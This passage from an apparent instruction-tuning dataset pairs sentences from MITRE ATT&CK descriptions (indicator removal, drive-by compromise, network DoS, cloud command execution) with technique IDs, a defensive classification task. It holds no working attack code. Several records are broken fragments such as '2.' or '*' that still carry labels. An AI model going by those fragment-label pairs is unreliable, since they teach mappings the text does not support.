contained in the text. ### Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Location, format, and type of artifact (such as command or login history) are often specific to each platform.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Location, format, and type of artifact (such as command or login history) are often specific to each platform. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may compromise the integrity of security solutions by causing notable events to go unreported.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may compromise the integrity of security solutions by causing notable events to go unreported. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete files left behind by the actions of their intrusion activity.", "output": "T1070.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete files left behind by the actions of their intrusion activity. ### Response: T1070.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how.", "output": "T1070.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. ### Response: T1070.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.", "output": "T1070.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. ### Response: T1070.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016)", "output": "T1070.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) ### Response: T1070.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include <code>del</code> on Windows and <code>rm</code> or <code>unlink</code> on Linux and macOS.", "output": "T1070.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include <code>del</code> on Windows and <code>rm</code> or <code>unlink</code> on Linux and macOS. ### Response: T1070.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001). ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n*", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008)) ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content). ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A user visits a website that is used to host the adversary controlled content.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A user visits a website that is used to host the adversary controlled content. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "2.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 2. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "3.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 3. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Upon finding a vulnerable version, exploit code is delivered to the browser.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Upon finding a vulnerable version, exploit code is delivered to the browser. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "4.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 4. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases a second visit to the website after the initial scan is required before exploit code is delivered.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases a second visit to the website after the initial scan is required before exploit code is delivered. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information.", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", "output": "T1189", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017) ### Response: T1189."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This third-party server is commonly termed a reflector.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This third-party server is commonly termed a reflector. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018) ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This DoS attack may also reduce the availability and functionality of the targeted system(s) and network.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Almost any network protocol may be used for flooding.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Almost any network protocol may be used for flooding. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets are commonly used to conduct network flooding attacks against networks and services.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets are commonly used to conduct network flooding attacks against networks and services. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Large botnets can generate a significant amount of traffic from systems spread across the global Internet.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Large botnets can generate a significant amount of traffic from systems spread across the global Internet. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network DoS can be performed by exhausting the network bandwidth services rely on.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network DoS can be performed by exhausting the network bandwidth services rely on. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example resources include specific websites, email services, DNS, and web-based applications.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example resources include specific websites, email services, DNS, and web-based applications. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse cloud management services to execute commands within virtual machines or hybrid-joined devices.", "output": "T1651", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse cloud management services to execute commands within virtual machines or hybrid-joined devices. ### Response: T1651."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents.", "output": "T1651", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. ### Response: T1651."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, in Azure AD environments, Microsoft Endpoint Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to the Azure AD.(Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)(Citation:", "output": "T1651", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, in Azure AD environments, Microsoft Endpoint Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to the Azure AD.(Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)(Citation: ### Response: T1651."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SpecterOps Lateral Movement from Azure to On-Prem AD 2020)", "output": "T1651", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) ### Response: T1651."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment\u2019s virtual machines or on-premises hybrid-joined devices.", "output": "T1651", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment\u2019s virtual machines or on-premises hybrid-joined devices. ### Response: T1651."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to 